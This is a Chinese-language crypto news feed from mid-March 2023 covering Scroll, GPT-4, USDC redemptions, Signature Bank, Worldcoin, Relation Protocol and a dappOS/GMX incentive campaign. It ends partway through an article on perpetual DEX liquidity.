    原文：《主打正统性和EVM兼容的Scroll，后来者能否居上？》 作者：Soya 自2016年起，开发者社区已对以太坊形成依赖。以太坊也沉淀了去中心化世界最多资产，以其为核心的多链生态大概率是公链体系未来的格局。 在以太坊2.0还没出现，合格的ZK Rollup项目没有落地，扩容市场正处于窗口期。 现有的ZK Rollup只针对特定应用程序，以太坊的应用不便于直接向L2迁移。那么主打以太坊「正统性」和完全兼容的Scroll，后来者能否居上？ Ye Zhang从2018年开始接触ZK证明，深知ZK-proof效率低下问题可以通过在密码学和硬件层面解决，他在2021年初在以太坊社区结识了另外两位联创，三人决定使用ZK技术建设以太坊扩容的未来。 Haichen曾在亚马逊负责机器学习系统，工程能力强，擅长将理论进行实践搭建。 行业OG Sandy曾在香港证监会从事研究工作，有游戏、产品类项目运营经验，熟悉初创团队的品牌运营。 团队一开始有两个目标：建设通用的ZK Rollup和实现ZK prover的去中心化。 因为一直和以太坊社区保持紧密联系，团队发现PSE（以太坊的研究机构，专注于ZK Proof前沿研究及其在以太坊的应用）也要做ZKEVM，二者技术路线匹配，Scroll随即获得与以太坊一起做EVM兼容ZK Rollup框架开发的机会。 Scroll非常重视技术基础。2022年中，团队规模为40人+，其中超过30位都是ZK或者区块链研究员和开发者。 甚至挑选合作伙伴时也会关注对方的研究能力和技术实力，因为只有他们才能理解Scroll的技术难度，并指点项目或引荐人才，如Geometry的创始人曾是Aztec的CEO。 1.完全的EVM兼容 开发者的代码在Scroll和以太坊上的执行效果相同，无需进行深度修改或重写。同时支持所有以太坊原生开发工具，开发者可以快速迁移合约，不需要重复审计。 相比之下，Scroll的竞品Zksync和Starkware则需要开发者在将应用跨层迁移时进行重新编译，用户也需要相信新的虚拟机和编译器。Polygon Hermez则在执行交易过程中可能存在一定的风险。 Scroll继承了已被无数次检验过的EVM模型，同时重用Geth（以太坊智能合约必备开发工具），以尽量减少跟以太坊的差异，最大限度保证安全。 2.去中心化 Scroll开发了世界上最快的GPU prover，允许任何人利用GPU机器搭建证明节点（此前搭节点成本过高），实现去中心化。加入的节点越多，算力越大，成本越低，从而激励社区更新更好更快的硬件，迭代专属于ZK的ASIC，进一步缩小L1的最终确认时间和证明成本。 在ZK Rollup赛道，Scroll拥有最高的硬件计算效率。 除了技术层面，Scroll团队追求社会和文化层面的去中心化。2022年，Scroll团队增加了39名成员，分布于20多个城市，10多个时区。 Scroll团队很早就意识到，很多公链其实不缺技术，缺的是生态。 Scroll多次赞助以太坊核心活动，频繁在以太坊活动上露脸（如ETH Devcon, ETH CC, ETH Vietnam）。截至2022年，Scroll的Discord 用户达到12万+。 与以太坊的策略相似，Scroll重视社区的声音。 公共教育： 去中心化的精髓是让成员也有能力解决问题。 Scroll在 0xPARC举办了关于证明堆栈的讲座，在斯坦福和伯克利举办了针对研究成果的演讲，每周更新零知识证明应用研究系列。 开放平台： 除了PSE和联创团队，Scroll的社区成员也能参与ZKEVM开发，如keccak电路和snark验证者的优化就是由社区成员完成的。Scroll每两周有一次社区电话会议，共同讨论技术优化。 此外，Scroll还在维护一个python 版本的规范（类似于以太坊的consensus-spec和 execution-spec），方便不熟悉Rust和Halo2的人理解电路逻辑。 2021年底，Scroll完成3千万美元A轮融资，天使投资人中不乏以太坊基金会成员和以太坊社区核心成员。 2022年8月，Scroll发布了测试网（得到超过10万社区用户的支持），10月进行升级。允许用户试用Uniswap v2等核心应用，执行L1和L2之间的转账。后推出无许可的Pre-Alpha测试网，任何人都可以在测试网上交互，开发者可以无需许可进行部署合约。 2023年1月，Scroll执行Pre-Alpha网络重置，提高Pre-Alpha测试网的吞吐量，解除社交账号的限制。网络重置一周后，Scroll测试网唯一地址数超过27万，每天在L2上处理11万笔交易。 今年3月初，alpha测试网正式发布。用户可以完全无需许可部署合约，任何人都可以体验Scroll并测试其极限。 目前，Scroll正致力于在未来几个月内迭代和提升zkEVM的性能，并争取在协议级别与以太坊在排序器上保持一致。 除了在EVM兼容方面的优秀表现，Scroll证明节点的去中心化和开源的社区经营都体现了以太坊的正统性，达到了价值观层面的「兼容」，顶级硬件速度为Scroll注入了更大的潜力。 虽然起步时间较晚，但其他ZK Rollup也仍未落地，凭借这些在短期内难以复制的优势，相信Scroll会在ZK Rollup赛道有相当的潜力。  ( 4 min )
    OpenAI推出GPT-4，一分钟速览新特性
    撰文：李丹 来源：华尔街见闻 凭借 ChatGPT 掀起人工智能（AI）应用热潮的 OpenAI 发布了最新作品——GPT-4。得到这种新模型支持的 ChatGPT 将迎来升级。 美东时间 3 月 14 日周二，OpenAI 宣布，推出大型的多模态模型 GPT-4，称它可以接收图像和文本输入，输出文本，「比以往任何更具创造性和协作性」，并且「由于它有更广泛的常识和解决问题的能力，可以更准确地解决难题。」 OpenAI 表示，已经与多家公司合作，要将 GPT-4 结合到他们的产品中，包括 Duolingo、Stripe 和 Khan Academy。GPT-4 模型也将以 API 的形式，提供给付费版 ChatGPT Plus 的订阅用户。开发者可以注册，用它打造应用。 微软此后表示，新款的必应（Bing）搜索引擎将运行于 GPT-4 系统之上。 GPT-4 全称生成式预训练转换器 4。它的两位「前辈」GPT-3 和 GPT3.5 分别用于创造 Dall-E 和 ChatGPT，都吸引了公众关注，刺激其他科技公司大力投入 AI 应用领域。 OpenAI 介绍，相比支持 ChatGPT 的前代 GPT-3.5，GPT-4 和用户的对话只有微妙的差别，但在面对更复杂的任务时，两者的差异更为明显。 「在我们的内部评估中，它产生正确回应的可能性比 GPT-3.5 高 40%。」 OpenAI 还称，GPT-4 参加了多种基准考试测试，包括美国律师资格考试 Uniform Bar Exam、法学院入学考试 LSAT、「美国高考」SAT 数学部分和证据性阅读与写作部分的考试，在这些测试中，它的得分高于 88% 的应试者。 上周，微软德国的首席技术官（CTO）Andreas Braun 在德国出席一个 AI 活动时透露，本周将发布多模态的系统 GPT-4，它「将提供截然不同的可能性，比如视频」。这让外界猜测，GPT-4 应该能让用户将文本转换为视频，因为他说该系统将是多模态的，也就在暗示，不仅能生成文本，还会有其他媒介。 本周二 OpenAI 介绍的 GPT-4 的确是多模态的，但它能融合的媒介没有一些人预测的多。OpenAI 表示，GPT-4 能同时解析文本和图像，所以能解读更复杂的输入内容。 在下面的示例中，我们可以看到 GPT-4 系统如何应答图像输入内容，比如像以下截图那样解释图片的不同寻常之处、图片的幽默之处、一个搞怪图片的用意。  ( 4 min )
    派盾：Voyager过去12小时将价值2770万美元的加密货币转至Coinbase
    PANews 3月15日消息，据派盾预警监测，在过去的12小时内，标记为“Voyager”的地址已向Coinbase转移了价值2770万美元的加密货币，包括17000枚ETH(约合1900万美元)，1200万枚VGX(约合400万美元)，2700亿枚SHIB(约合300万美元)。 据悉，自2月14日以来Voyager几乎每天通过Coinbase出售加密资产。此前消息，法官批准Binance.US收购Voyager Digital资产，但交易仍需清除监管障碍；美国司法部对纽约法官批准Voyager出售给Binance.US的决定提起上诉。  ( 4 min )
    Circle：正努力恢复USDC的流动性运作，包括寻找全天候的新银行合作伙伴
    PANews 3月15日消息，USDC稳定币发行商Circle在博客文章中表示：“自从Signature Bank和Silvergate Bank倒闭以来，我们团队一直在夜以继日地工作以恢复USDC的流动性运营，包括引入新的交易银行合作伙伴。我们于当地时间3月13日星期一早上开始处理铸造和赎回请求，当时美国银行系统重新开放，目前正在处理积压的请求。我们在这里还有更多工作要做，包括添加具有24/7/365功能的新交易银行合作伙伴，当地时间3月13日，Circle赎回了29亿美元USDC，并铸造了70亿美元USDC。” 文章还表示：“作为加强USDC储备的持续举措的一部分，我们现在在纽约梅隆银行持有储备的现金部分，除了在交易银行合作伙伴处持有的有限资金，以支持USDC的铸造和赎回。大部分储备投资于由贝莱德管理、BNYM托管的Circle reserve Fund，主要由短期美国国债组成。”  ( 4 min )
    ChatGPT-4发布，OpenAI CEO的“另一个儿子”Worldcoin也有新动作
    原文：《OpenAI CEO和a16z投资的Worldcoin，今日入局身份协议层》 作者：念银思唐 伴随着 ChatGPT 的火爆，其背后开发公司 OpenAI 的 CEO Sam Altman 名声大噪。而他在 2021 年联合创立的一个加密货币项目也于近期再次活跃起来，并于今日公布了最新进展。 这个名为“Worldcoin”的项目在 2021 年 6 月首次向大众公开，并宣布完成 2500 万美元融资，获得了a16z、Coinbase Ventures、LinkedIn 创始人 Reid Hoffman、Day One Ventures 等多位知名投资方的支持。 报道称，Worldcoin 计划发行一种全球性的数字货币，通过其开发的一种状似篮球的银色装置（Orb）扫描虹膜来形成独特的个人识别码，以确定个人身份。据介绍，虹膜扫描可防止用户重复注册，但为了保证隐私性，Worldcoin 将尽量使数据使用方式透明化，在完成扫描后相关图像将被永久删除。 当时，Worldcoin 已经开始在多个城市小规模测试该装置，因为还未正式发行，Worldcoin 向志愿者支付比特币等加密货币来换取一些使用反馈。据称，该装置原型机不到 20 台，当前成本为 5000 美元，但随着工艺改进，成本将大幅下降。 Altman 接受采访时表示，他是在 2019 年底受到流行经济理论“全民基本收入”（universal basic income，简称 UBI）的启发而产生了这一想法，即使用加密货币公平地分配资金。Altman 是 Worldcoin 的第一位投资者，但他表示自己不参与公司的日常运营，主要是在需要时担任公司的顾问。 该项目的实际负责人是 Alexander Blania，他与 Altman 和 Max Novendstern 共同创立了 Worldcoin。Altman 和 Max Novendstern 曾在 Ray Dalio 的投资机构 Bridgewater Associates LP 和转账初创公司 Wave 工作。Blania 表示，公司正在评估如何才能有一天让尽可能多的人使用加密货币：“世界上还有很多人还没有进入金融系统，而加密货币有机会让我们实现这一点。” 当年 10 月，Worldcoin 称正在部分地区进行实地测试，当时项目估值已经达到 10 亿美元。 然而该项目的后续发展并不顺利。2022 年 3 月，在当地承包商离开及因法规禁止开展业务后，Worldcoin 暂停了在多个国家/地区的运营计划，而且一再推迟其目标发布日期。 当时该公司已经收集大约 20 个国家数十万人的眼睛图像，但这一过程一直受到各地智能手机使用情况参差不齐、用户困惑和欺诈企图等问题的困扰。 尽管如此，Worldcoin 仍然试图筹集更多资金以推进其计划。有报道称，该公司当时正以 30 亿美元估值进行 1 亿美元代币融资。 同年 8 月，Worldcoin 联合创始人兼首席执行官 Max Novendstern 离职，并创办初创公司 Mana，旨在建立链上自主运行的 AI 风险投资协议。 之后 Worldcoin 便一直保持沉默——无论是项目开发进展还是融资进程。 几乎快要被遗忘的时候，Worldcoin 今年再次出来发声了。2 月上旬有报道称，它正在与包括主权财富基金在内的投资者讨论新一轮融资事宜。Worldcoin 希望以 30 亿美元估值筹集至多 1.2 亿美元——这一估值与去年相同，本轮融资将包括股权和代币融资。在当前市场环境下，这一融资规模无疑令人瞩目。 在寻求融资的消息披露后一个月，Worldcoin 便公布了项目的最新进展，包括 World ID 协议和软件开发工具包（SDK）。 World ID 被描述为 Worldcoin 的“底层身份协议”，由零知识加密技术提供支持，是一种移动工具，人们可以用来证明自己的身份而无需牺牲匿名性。虹膜扫描硬件 Orb 是用户获得验证的主要方法，不过，他们也可以使用电话号码验证等工具，但后者的准确性较低。 “这是一个去中心化和隐私优先的协议，”Worldcoin 主要软件贡献者 Tools For Humanity 的产品、工程和设计主管 Tiago Sada 在接受采访时表示，“就像人们可以拥有自托管的钱包一样，有了它，人们可以拥有自我保管的 ID，任何信息都在设备上，它通过零知识证明来对自己进行验证。” 用户可以在任何兼容的移动钱包上获得 World ID。其中一个选择是 World App，目前该程序仍处于测试阶段。 Orb 验证现主要局限于阿根廷、智利、印度、肯尼亚、葡萄牙和西班牙，今年晚些时候将会更广泛地推广该设备。与此同时，大多数国家都可以使用移动验证。 World ID 最简单的用例是登陆（也就是身份验证）。该技术的其他潜在用例还包括社交网络中的机器人保护和审核、在 DAO 中投票、支持无抵押贷款、忠诚度计划和优惠券、市场评论还有福利分配。该技术的首次展示将集中于对 Discord 的验证。 “这可能需要更多人的想象力来思考你可以用它做什么。当 iPhone 问世时，你根本想不到 Uber。”Sada 补充说，“这是一种基本的原语。它会一直存在。而 Worldcoin 就是要确保它以一种去中心化和保护隐私的方式存在。” 至于 SDK，开发者已被邀请注册加入一个等待列表，以便尽早访问该产品的测试版，该测试版对任何人开放，包括一个微件、开发者门户、开发模拟器、示例和指南。 一旦跟用户身份扯上关系，隐私就必然会成为头号担忧。Orb 在 2021 年 6 月的发布引起了主要隐私倡导者的强烈反对，包括爱德华·斯诺登（Edward Snowden），他警告人们不要将生物识别数据用于任何事情，并补充说人体不是“打票机”。 Worldcoin 后来试图通过使用零知识证明技术消除生物识别注册阶段和钱包之间的联系来缓解这些担忧。然而，Sada 认为对该项目的担忧仍然存在。 “还是有很多误解，”他说，“很多人不知道你的生物特征数据会在 Orb 中被销毁。”也就是说，除非用户选择存储自己的生物特征数据——尽管这有助于改进协议，但 Worldcoin 并未鼓励用户这样做。 “虹膜代码是唯一离开设备的东西，”Sada 继续说道，“虽然这听起来有点令人生疑，但 World ID 确实是最私密的身份。我认为它在许多方面也是最具包容性和可扩展性的。” Sada 还表示，如果有更好的工具来证明一个人的独特性，考虑到制造硬件的限制，Worldcoin 也会二话不说放弃 Orb。事实上，Tools for Humanity 有一个团队正在积极寻找这样的解决方案。 但就目前而言，Orb 的开发仍在继续。Worldcoin 正在通过一个提供奖励的运营商程序加大 Orb 的分发力度。根据官方今日发布的公告，目前 Worldcoin 已有 130 万注册用户。 不过，Sam Altman 作为 Worldcoin 的最大“光环”，尚未有任何表态。如前所述，Altman 已经表示自己不参与公司的日常运营，主要是在需要时担任公司的顾问。但他的存在还是会让人们抱有期待：一旦 Worldcoin 与 AI 结合，势必能迸发新的火花。 伴随着这次项目的重大进展公布，Worldcoin 是否能够顺利完成融资乃至正式发布，我们不妨拭目以待——眼下的加密行业亟需这样的好消息。  ( 5 min )
    高盛已申请一项将区块链技术与其结算机制整合在一起的新专利
    PANews 3月15日消息，据Cryptoslate报道，高盛(Goldman Sachs)最近向美国专利局(US patent office)申请了一项专利，提议将区块链技术与其结算机制整合在一起。该专利文件于3月14日提交，专利号为US 11,605,143 2B，概述了该银行使用区块链技术的技术和计算需求。该专利专注于智能合约的技术方面，可应用于各种金融工具，如部分准备金银行、保险、债券、证券化产品和保证金贷款。 高盛的这一举措是其区块链推广的一部分，数字资产团队全球负责人Mathew McDermott在最近接受采访时表达了对区块链应用程序的强烈支持。该银行的私人代币化平台GS DAP也被香港用于销售价值1.02亿美元的数字绿色债券，成功地将结算时间从5天缩短至1天。 与此同时，一些分析师声称，区块链领域正在酝酿一场专利“军备竞赛”，高盛(Goldman Sachs)决心通过招聘新员工和提供区块链产品来扩大其数字资产团队，以保持领先地位。  ( 4 min )
    数据：黄立成地址昨晚抛售132枚MAYC
    PANews 3月15日消息，据欧科云链OKLink多链浏览器数据显示，被标记为“Jeffrey Huang”的中国台湾歌手黄立成（machibigbrother.eth）地址于昨晚20:36:23分开始大量抛售MAYC，截至发文前已卖出132枚，目前该地址下仍持有42枚MAYC。  ( 4 min )
    彭博社：Signature Bank在倒闭前面临刑事调查，包括其与加密公司的合作关系
    PANews 3月15日消息，据彭博社报道，知情人士透露，在监管机构上周末突然接管Signature Bank之前，美国检察官一直在调查该银行与加密货币客户的合作。知情人士称，华盛顿和曼哈顿的司法部调查人员正在调查这家纽约银行是否采取了足够的措施来发现客户的潜在洗钱行为，比如仔细检查开户的人，监控交易以寻找犯罪迹象。 两名不愿具名的人士表示，美国证券交易委员会（SEC）也在调查此事。美SEC负责人当时表示，如果发现违反联邦证券法的行为，将进行调查并采取执法行动。 此前消息，Signature董事会成员表示，银行未资不抵债，被关停或因监管机构的反加密立场；而纽约金融服务部表示，接管Signature Bank与其加密业务无关。  ( 4 min )
    Relation Protocol：建立可隐私的Web3社交图谱，服务下一个十亿用户
    社交去中心化的价值 Web2社交应用的发展已经相当成熟，用户对黏性社交应用的需求非常大。但是，中心化的社交媒体网络存在一些痛点，例如，用户对数据和内容的控制有限，易受审查、算法操纵和隐私侵犯的影响。长期以来，传统的中心化社交媒体平台一直占据市场主导地位，但这些平台仍需要解决数据和内容创作者的问题，例如社交媒体账号的干扰、收入分配不平等以及内容创作者无法充分控制自己生产的内容。随着数据经济和去中心化技术的崛起，人们越来越需要一个平台，为数据和内容创作者提供公平透明的分发和收益体系。 此外，COVID-19大流行加速了远程办公和数字内容消费的趋势，这增加了以去中心化方式连接创作者和消费者的平台的需求。这一需求不仅紧迫，而且也提供了一个机会，推动人们开发新一代的去中心化社交媒体平台，以满足数据和创作者经济的需求，并为内容分发提供更公平、更透明的体系。 去中心化社交网络是建立在区块链技术基础之上的，可以让用户控制自己的数据，提供透明度和不可篡改性，并促进更开放、自由的思想交流，以解决中心化社交媒体平台存在的问题。显然，去中心化社交是Web3中一个具有高潜力的垂直领域。它解决了对创作者经济、隐私、所有权、内容控制和抗审查通信渠道日益增长的需求，这对于希望保护自己权利、自由发布内容的个人和社区来说非常重要。Web3技术的出现为开发去中心化社交平台提供了新的可能性，以确保点对点的社交网络内的可信、可互操作和无缝的价值传输。 去中心化的社交图谱旨在为Web3中的下一个十亿用户提供比以往更多的价值，并归还用户对数据的控制权。但是，计算和分析链上社交数据量是一项非常复杂的任务，原始数据中充斥着噪音和可能被误读的信息。随着用户数量呈指数级增长，Web3中的社交数据变得极其重要。 那么，如何为如此庞大的社交网络设计数据结构呢？ 如果我们不考虑管理拥有海量社交数据的社交图谱，那么可以将每个人的NFT 账号视为一个节点，用 NFT 来表示任意两个用户之间的关系，从而构建一个关系图谱。如果需要查明两个人之间的关系，我们可以从其中一个人的NFT链上数据开始进行简单的搜索，并读取分析信息。 随着社交图谱和社交数据的指数级增长，如果我们想要分析社交网络，就不能再依赖原始的处理方法了。 去中心化社交网络的设计目标表明，我们必须使用一个通用的数据模型，以便在Web3 中以去中心化的方式来代表、交换、互操作、转换和查询社交网络数据。 RDF图可以满足此要求。基于通证化的去中心化社交图谱的发展，我们提出了一个基于RDF的社交数据模型，符合上述要求。 RDF，即资源描述框架，是由万维网联盟（W3C）制定的元数据建模标准。RDF，也称为RDF三元组（三元组），使用主语-谓语-宾语的句子结构存储和表达信息，由两个节点通过边连接。例如，Alice认识Bob。这个信息将被结构化为三元组 Alice-knows-Bob，其中主语是Alice，谓语是Knows，宾语是Bob。 基于共同数据模型的去中心化社交图谱使分析速度更快、更容易，效率提升了近千倍。所有基于RDF的社交图谱都使用相同的标准框架和形式语义来存储和表示数据，并使用同一标准查询语言。由于RDF的语法，存储在Web3的RDF数据之间的共享变得更加简单。RDF三元组遵循同一标准，使得社交图谱之间可以相互操作。这种互操作性允许基于RDF的图形集成和交换信息。它还允许用户添加新的节点和关系，甚至子结构，而不需要重新构建数据集。 Relation Protocol（关系协议）构建了一种创新的去中心化社交图谱协议，通过语义 SBT 和标准数据格式为开发者提供区块链原生数据层，为社交互动提供可信、开放和互操作的基础设施。在该协议中，当用户与DApp应用互动时，他们将在区块链上生成大量数据。这些数据是标准化的、可机器读取的RDF数据。在更深层次上，用户将拥有更真实的数据所有权和控制权。用户可以共享由其生成的所有社交数据，并决定如何使用它。 Relation Protocol 正在为Web3构建去中心化的社交协议层，提供区块链原生的社交体验。这促进了无缝的数据集成和可定制的隐私设置，以便社区更好地协调，实现增强的用户主权和网络效应。 Relation 提出了EIP-6239语义SBT规范通用数据模型和事件。根据这个规范，社区和个人都可以通过部署智能合约来构建他们在社交图谱中的关系。 使用事件作为原子单位将新的或更新的图形数据集成到全局社交图谱中，也是一种新颖的方法，并且更便于图数据库的维护和更新，使之更加透明和具有防篡改性。 Relation 整合了RDF，一种灵活和表达性强的图数据模型，用于描述资源之间的关系，非常适合用来表示社交图谱和其他复杂的数据结构。使用RDF，Relation Protocol 能够轻易地从多个来源整合数据，并以一种一致和可互操作的格式表示数据。它为社交网络提供了高度可扩展和可组合的数据模型，使得不同的应用程序和智能合约能够无缝地相互交互并共享数据。由此，Relation在Web3中实现了去中心化的社交数据中间层。它通过 RDF，将多链社交数据集成到全局社交图谱中。配置隐私设置的隐私SBT 模块（Private SBTs）是一个独特的功能，使用户能够控制不同社交环境中的内容访问。通过语义SBT在本地上链或公开可见的数据托管，Relation Protocol 消除了信任中介的需求，增加了去中心化和安全性。 Relation Protocol是一个具备社交隐私可编程和身份管理功能的协议，它允许本地化的链上原生数据存储和去中心化的访问控制，为用户提供更多对个人数据和内容的控制权。该协议通过创新的隐私SBT提供了用户自定义隐私设置的能力，用户可以根据他们的社交关系和互动背景自行设定隐私设置，从而更好地控制谁可以访问他们的数据和内容。相比传统社交网络平台，Relation Protocol避免了中心化的数据存储和通过定向广告获利的模式。 Relation Protocol在2022年4月推出了第一个试点应用——Relation ONE。Relation ONE旨在成为新兴社交市场的Web3社交门户。 Relation ONE能够在Web2和Web3社交身份之间建立桥梁，允许用户在两个甚至多个生态系统中管理其个人资料。该应用基于钱包地址构建即时通讯功能，允许用户在跨平台上进行 Web3链原生、安全和私密的通信，并通过使用基于 NFT 的身份链上验证形成群组。Relation ONE引入了一种独特且有效的建立具有共同兴趣的全新社交方式，促进了紧密联系的社群的形成，并激励社区成员做出贡献和参与讨论。这有助于内容创作者吸引更加精准和有兴趣的受众，从而推动更有意义的互动和更大范围的内容曝光。最后，去中心化的访问控制功能赋予用户更多对其发布内容的控制权，确保只有拥有适当权限的人可以访问它，这对于维护隐私或限制访问独家内容有着相当程度的重要性。 目前，Relation ONE连接了超过 20 万用户、超过 300 万个唯一钱包地址和社交账号，并建立了超过 1100 万个社交图谱节点。该应用具有社交化的游戏特性，并通过内置社交推荐机制实现了指数级的用户增长。 Relation ONE只是基于Relation Protocol搭建社交应用的一个用例。任何想要在 Relation Protocol上构建社交 DApps 的开发人员都可以这样做。例如，开发人员可以构建去中心化的约会平台、去中心化的信贷贷款系统、去中心化的内容分发网络和去中心化的广告网络。目前，去中心化钱包 Hashkey Me和Web3招聘平台Dejob已经接入了 Relation Protocol以增强其业务的社交属性。Relation Protocol的潜力将吸引更多开发者，共同构建去中心化社会的生态系统。  ( 4 min )
    华尔街日报：美联储考虑对中型银行实施更严的资本和流动性规定
    PANews 3月15日消息，据《华尔街日报》援引知情人士报道，在硅谷银行（SVB）事件发生后，美联储正在审议一系列更严格的资本和流动性要求，以及加强年度“压力测试”的措施，这些规定可能重点针对资产规模在1000亿至2500亿美元之间的中型银行，这些银行目前逃避了一些最严格的要求。 预计在未来几个月，美联储将提出一系列改革建议，内容可能要求更多银行在其监管资本中显示某些证券的未实现收益和损失，而此举将影响银行的监管资本充足率，这是衡量银行实力的一个关键指标。美国监管机构还准备调整一项计划的范围，以增加地区银行在危机时可能动用的金融缓冲。  ( 4 min )
    彭博社：美国监管机构开始征求Signature Bank潜在买家的兴趣
    PANews 3月15日消息，据彭博社援引知情人士报道，美国监管机构已经开始征求Signature Bank潜在买家的兴趣。联邦存款保险公司已经开设了一个所谓的数据室，以便让潜在买家能够开始对该银行进行尽职调查。 在Signature Bank被监管机构接管之前，侧重加密货币业务的Silvergate和侧重为初创公司服务的硅谷银行都倒闭。纽约州金融服务局的官员称，在监管机构对签名银行管理层失去信心并且储户纷纷取款后，该银行被关闭。Signature Bank 的所有客户存款和几乎所有的公司资产都已转入由FDIC运营的Signature Bridge Bank NA。  ( 4 min )
    币安孵化项目dappOS与GMX举办激励活动，该如何参与？
    参与本次活动将会获得现金奖励以及早期参与者 NFT 凭证（活动目前并未开始，勿做） dappOS 开启第一次和 GMX 的联合活动，对 dappOS 来说应该是很重要的活动，我们作为参与项目的用户来说最重要的是什么，NFT 是一个重要的早期参与的凭证，至于 NFT 以后有什么用，我想对于经常做交互的小伙伴应该能明白，dappOS 本身是一个很不错的项目，目前尚处于早期启动阶段，机会在早期。 dappOS 入选币安第五期孵化项目， 有点像一个 Web3 Android 基础操作协议，允许 BNB 链和 ETH 链用户与 Optimism、Avalanche、Arbitrum 等链上的 layer2衍生协议无缝交互，大家应该了解币安的眼光，没有大的潜力不入币安法眼 相关阅读：《dappOS的雄心：web3的一键入口》 1.为其他项目提供中间基础设施套件功能，使用户进入项目门槛更低交互顺畅便捷（目前已经与GMX，kyber，benqi等合作） 2.账户抽象（智能钱包合约功能） 未来可能会是一个重要的热点概念（Argent X 钱包及头盔钱包都采用的核心技术） 本次活动为 dappOS 联合 GMX 限时激励活动，活动很简单：兑换适量 GLP 以及邀请用户获取各种现金奖励以及早期交互 NFT dappOS币安第五期孵化项目，dappos两个核心功能 登录 dappOS 版专用 GMX 网址购买代币 GLP 任务要求：至少购买 50 美元 GLP 代币并且持有超过 72 小时后卖出完成即可获得 5 美元奖励（池子暂定总奖励 6000 美元，如果参与人数超出，项目方会追加奖励） 我们通过 USDC,BTC,ETH 其中一种代币购买至少 50 美元 GLP 如果没有足够数量（ USDC,BTC,ETH）可通过 pancakeswap 购买相关币种 GLP 属于多种代币抵押币种（一揽子货币原则），价格一般不会有大幅波动，除非出现市场大幅波动会有小幅波动 完成购买后，GLP就处于自动质押状态不用其他操作，72小时后卖出即可完成第一个任务 创建自己的邀请链接，每邀请一个新用户完成以上任务获得额外 2 美元奖励，被邀请者也同样获得 2 美元奖励（池子暂定总奖励 4000 美元，如果参与人数超出，项目方会追加奖励金额） 随意输入数字或字母的生成自己的邀请链接 复制邀请链接，邀请用户获得额外奖励 三.双倍奖励 关于质押会有额外的双倍代币奖励，关系到总的质押代币数量，购买太多质押代币风险偏大，有下跌风险，而且由于APY不高，最后能得到的奖励算下来其实不多，就不详细说明这块儿了，有兴趣的可以自行了解 通过质押 GLP，将获得 $AVAX 奖励。 dappOS 将提供额外的双倍奖励。 例如，如果您通过抵押 GLP 赚取了 0.1 $AVAX，将额外给您 0.2 $AVAX 额外奖励池总额为 2000 美元 总奖金 8000 美元，根据邀请的新用户数量，新用户总的质押代币数，以及总的质押代币收益，获得一个总的排行榜分数瓜分 8 千 U 奖励 以上内容仅供区块链相关知识学习研究使用，不是任何财务投资建议  ( 5 min )
    数据：自上周五以来USDC净赎回额超45亿美元
    PANews 3月15日消息，Whale Alert数据显示，今日凌晨04:12，723,507,072枚USDC在USDC Treasury处销毁，根据加密数据公司Arkham的说法，这创下了有记录以来最大的USDC单笔销毁记录。 此外，据The Block报道，自上周五以来，USDC的赎回额达到62亿美元，铸造额达16.6亿美元，即净赎回略高于45亿美元。 The Block Research研究主管Steven Zhang表示，尽管Circle开启赎回并保证赎回将得到储备，但USDC持有者似乎仍对当前环境感到紧张，鉴于Circle在许多其他银行持有现金储备，如果这些银行经历像我们在硅谷银行看到的那样的银行挤兑，这可能会导致USDC再次脱锚。  ( 4 min )
    以太坊Goerli测试网已完成Shapella升级
    PANews 3月15日消息，Beaconcha数据显示，以太坊Goerli测试网epoch 162304处的交易已确认，目前已达到epoch 162323。由于触发时网络参与度较低，升级在15个 epoch后才最终完成。 根据3月2日的报道，在此次Goerli测试网升级后，主网升级将在此后的3至4周进行。  ( 4 min )
    消息人士：Signature Bank上周五流失了178亿美元存款，占比20%左右
    PANews 3月15日消息，据彭博社报道，消息人士透露，加密友好银行Signature Bank在被美国联邦存款保险公司(FDIC)接管前（上周五）已流失约20%的存款。该消息人士没有提供银行存款的确切数字。但Signature周四在一份声明中表示，截至3月8日，该公司持有约892亿美元存款，这意味着一天内就有大约178亿美元被撤资。相比之下，根据一份监管文件，投资者和储户周四要求SVB的硅谷银行提款420亿美元。 此前消息，Signature董事会成员表示，银行未资不抵债，被关停或因监管机构的反加密立场；而纽约金融服务部表示，接管Signature Bank与其加密业务无关。  ( 4 min )
    OpenAI推出ChatGPT-4：可同时解析文本和图像，支持微软新款必应
    PANews 3月15日消息，据华尔街见闻报道，美东时间3月14日周二，OpenAI宣布，推出大型的多模态模型GPT-4，称它可以接收图像和文本输入，输出文本，“比以往任何更具创造性和协作性”，并且“由于它有更广泛的常识和解决问题的能力，可以更准确地解决难题。”OpenAI表示，GPT-4能同时解析文本和图像，所以能解读更复杂的输入内容。 OpenAI表示，已经与多家公司合作，要将GPT-4结合到他们的产品中，包括Duolingo、Stripe 和Khan Academy。GPT-4模型也将以API的形式，提供给付费版ChatGPT Plus的订阅用户。开发者可以注册，用它打造应用。微软此后表示，新款的必应（Bing）搜索引擎将运行于GPT-4系统之上。 相关阅读：OpenAI推出GPT-4，一分钟速览新特性  ( 4 min )
    Filecoin虚拟机FVM已在主网上线，Filecoin现已支持智能合约
    PANews 3月15日消息，Filecoin社区宣布，Filecoin虚拟机（FVM）已于北京时间3月14日23:14成功启动。Filecoin区块链现已可通过FVM支持智能合约和用户可编程性。通过FVM，开发者可部署智能合约，并规划数据存储、治理和在公开市场变现的方式。 FVM的发布是Filecoin主要计划的最后一环。协议实验室创始人Juan Benet表示，“FVM是区块链和Web3前进的主要一步，它使开发者能够创建新型应用并将智能合约的巨大潜力赋能给大规模数据”。  ( 4 min )
    从Orderbook到vAMM再到P2Pool，解读衍生品DEX的LP产品化趋势
    原文：《Foresight Ventures：Perpetual DEX 的 LP 产品化之路》 作者：Kylo@Foresight Ventures 本文叙事的主体在于 LP 的产品化，即 DeFi 协议的流动性变成一个标准化产品的过程。在人们最初的认知里，一个好的产品应该作为一个整体为用户服务。以 DyDx 和 0x protocol 为例，这两者将做市商内置于产品内，并通过良好的 UI 设计将其包装成一个交易平台，为 Trader 提供丝滑的交易服务并捕获交易手续费，这是一种典型的面向单一用户的产品思维。Uniswap 的 AMM 模式以及 Compound 的流动性挖矿的出现应该是 LP 产品化的始祖：AMM 模式使得 LP 和 Trader 可以交互影响；Compound 的流动性挖矿刺激了用户的存款和借款，由于借款用户的抵押品本身也可以作为流动性被借出，借款人（交互者）和存款人（LP）之间的身份界限被模糊，其提供的 LP 可以无损获取收益。 上述两个场景其实反应了 LP 产品化的特点： LP 的产品化模式在现货 AMM DEX 以及借贷协议上已经被证实是可行的方案。在目前 Perpetual DEX 的发展过程中，LP 产品化这一思路也在慢慢凸显。Perpetual DEX 的机制从 17 年到现在经历了三次大的变迁：从 DyDx 